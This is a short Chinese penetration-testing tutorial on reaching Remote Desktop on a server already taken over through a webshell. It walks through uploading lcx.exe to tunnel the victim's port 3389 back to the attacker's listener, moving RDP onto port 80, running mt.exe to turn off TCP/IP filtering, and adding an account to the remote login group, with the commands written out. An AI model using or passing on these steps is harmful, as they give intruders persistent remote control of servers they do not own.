开了3389后WEB渗透远程连接不上的分析与解决

一、连接不上的原因分析

• 远程桌面端口被更改：为了安全等原因，可能会更改默认的3389远程桌面端口，这就会导致按原端口连接不上。
• 对方服务器处于内网：如果服务器处于内网，会受到网络环境的限制，导致外部无法直接连接。
• 防火墙拦截：防火墙可能会阻止远程连接请求，以保护服务器安全。
• TCP/IP安全限制：系统设置的TCP/IP安全策略可能限制了远程连接的权限。
• 不属于远程登陆组：如果账号不属于远程登陆组，也会导致连接失败。

二、解决方法

（一）端口被更改

• 利用asp或aspx权限查看端口
  • 如果是asp大马权限可以查看服务器的远程(TerminalService)端口，权限不足时，在支持aspx的情况下换aspx查看注册表得到远程桌面端口。
• 使用lcx做端口转发
  • 首先上传lcx.exe到目标服务器可执行目录。
  • 本地主机启动lcx.exe监听，例如命令：lcx.exe -listen 1988 4567（监听1988端口并转发到4567端口）。
  • 在目标主机运行：格式为lcx.exe -slave 192.168.86.1 1988 192.168.86.3 3389（这里的IP地址等根据实际情况填写）。
  • 本地链接：127.0.0.1:1988。如果本地也是内网，还需要做端口映射到转发回来的端口。

（二）服务器在内网

- 可以尝试端口复用，例如把3389端口和80端口公用，因为一般内网路由器不会拦截80端口的访问。操作时可以停止iis服务，将3389改为80端口等（注意此操作可能影响其他服务，需谨慎评估风险）。

（三）防火墙拦截

- 仍然可以利用LCX做端口转发，命令格式为lcx.exe -slave你的IP你监听的端口肉机要转发的目标主机端口，然后本地连接127.0.0.1:1988就可以了。

（四）TCP/IP安全策略限制

- 可以使用MT.EXE来关闭策略，具体步骤为：
    - 上传mt.exe到目标服务器可执行目录。
    - 执行命令：mt.exe -filteroff，这样就关闭了TCP/IP限制了。MT.EXE还有其他功能如 -addport（添加端口到过滤器的允许列表）、-nicinfo（列出TCP/IP界面信息）等。

（五）不属于远程登陆组

- 执行命令：net localgroup RemoteDesktopUsers 123 /add，将相关账号添加到远程登陆组。